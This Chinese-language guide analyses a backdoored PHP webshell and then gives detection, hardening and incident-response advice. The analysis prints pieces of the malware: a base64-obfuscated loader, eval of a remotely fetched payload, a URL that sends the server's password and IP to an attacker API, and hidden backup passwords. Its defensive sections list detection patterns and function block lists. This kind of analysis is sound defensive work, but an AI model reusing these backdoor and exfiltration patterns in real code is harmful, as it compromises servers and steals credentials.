PHP WebShell后门分析与防御指南

一、WebShell后门案例分析

1.1 案例概述

本案例展示了一个看似功能强大的PHP WebShell，实际上包含多重隐藏后门，攻击者通过这些后门可以窃取使用者的服务器控制权。

1.2 主要特征

• 体积小巧：仅1.83KB，便于上传
• 多重加密：使用base64和gzinflate多层编码
• 动态加载：核心功能从远程服务器获取
• 主流WAF绕过：声称可绕过安全狗、云锁、360等防护
• 多种连接方式：支持菜刀、xise等连接工具

二、技术实现分析

2.1 代码结构

<?php 
$password='xxxxx'; // 登录密码
$html='...base64编码内容...';
$css=base64_decode("Q3JlYXRlX0Z1bmN0aW9u");
$style=$css('',preg_replace("/#html/","",$html));
$style(linkrel="stylesheet"href="$#css"/>';*/

2.2 核心后门机制

2.2.1 远程代码加载

$url = base64_decode(base64_decode("YUhSMGNEb3ZMM0JvY0dGd2FTNXBibVp2THpRd05DNW5hV1k9Cg=="));
// 实际解码后为 http://xxx.xxx/404.gif

$urlNew= base64_decode("LzBPbGlha1RIaVNQOGhwMGFkcGg5cGFwaTUrcjZlY2kwYTh5aWptZzlveGNwOWNrdmhmLw==");

// 通过三种方式尝试获取远程内容
1. fsockopen方式
2. curl方式
3. file_get_contents方式

2.2.2 会话持久化

if (!isset($_SESSION["phpapi"])) {
    // 获取远程内容并存储到会话
    $_SESSION["phpapi"] = gzinflate(base64_decode($c));
}

if (isset($_SESSION["phpapi"])) {
    eval($_SESSION["phpapi"]); // 执行远程代码
}

2.3 隐藏后门功能

2.3.1 IP信息收集

if (strpos($domain, "0.0") !== false || 
    strpos($domain, "192.168.") !== false || 
    strpos($domain, "localhost") !== false) {
    // 判断是否为内网环境
}

2.3.2 数据外传

// 将服务器信息和密码发送到攻击者控制的API
http://xx.xx/api.php?name=filename.php&value=password&id=ip

2.3.3 备用密码

if ($_POST['postpass'] == 'postpass' || $_POST['postpass'] == 'http200ok') {
    // 使用备用密码也能登录
}

三、防御措施

3.1 检测方法

1. 代码特征检测：

   • 查找base64_decode多层嵌套调用
   • 检查eval、assert等动态执行函数
   • 查找fsockopen、curl_exec等远程请求函数

2. 网络行为检测：

   • 监控异常外联请求，特别是对未知域名的访问
   • 检查HTTP请求中的异常User-Agent

3. 文件特征检测：

   • 查找非常小的PHP文件(如1-2KB)
   • 检查含有混淆编码的PHP文件

3.2 防护建议

1. 代码审计：

   • 对所有第三方PHP代码进行彻底审查
   • 使用RIPS、PHPStan等静态分析工具

2. 服务器加固：

   ; php.ini安全配置
   disable_functions = exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source
   allow_url_fopen = Off
   allow_url_include = Off
   

3. WAF规则：

   • 拦截包含多重base64解码的请求
   • 阻止含有eval(、base64_decode(等敏感函数的PHP文件上传

4. 监控措施：

   • 实施文件完整性监控
   • 建立PHP异常行为监控(如异常eval调用)

四、安全开发建议

1. 避免使用危险函数：

   // 不安全
   eval($code);
   assert($code);
   
   // 替代方案
   // 使用明确的白名单机制
   $allowed = ['func1', 'func2'];
   if (in_array($func, $allowed)) {
       $func();
   }
   

2. 安全文件操作：

   // 不安全
   file_get_contents($_GET['file']);
   
   // 安全做法
   $allowed = ['file1.txt', 'file2.txt'];
   if (in_array($file, $allowed)) {
       file_get_contents($file);
   }
   

3. 输入验证：

   // 不安全
   $cmd = $_POST['cmd'];
   system($cmd);
   
   // 安全做法
   $allowed = ['ls', 'whoami'];
   if (in_array($cmd, $allowed)) {
       system(escapeshellcmd($cmd));
   }
   

五、应急响应

1. 发现后门后的处理步骤：

   1. 立即隔离受感染服务器
   2. 收集证据：保存恶意文件、日志记录
   3. 分析入侵路径：检查上传漏洞、弱密码等
   4. 彻底清除后门文件
   5. 修复漏洞并加强防护
   6. 重置所有相关凭据

2. 日志分析要点：

   • 查找异常文件上传记录
   • 检查可疑的POST/PUT请求
   • 分析访问404.gif等异常资源的记录
   • 追踪API.php等可疑外联请求

六、总结

本案例揭示了WebShell中常见的几种后门技术，包括：

1. 远程代码加载
2. 会话持久化
3. 信息收集与外传
4. 隐藏的备用密码

防御这类威胁需要多层次的安全措施，包括严格的代码审计、服务器加固、实时监控和有效的应急响应计划。安全团队应特别警惕那些声称"免杀"、"绕过WAF"的WebShell，这些工具往往包含更多隐藏风险。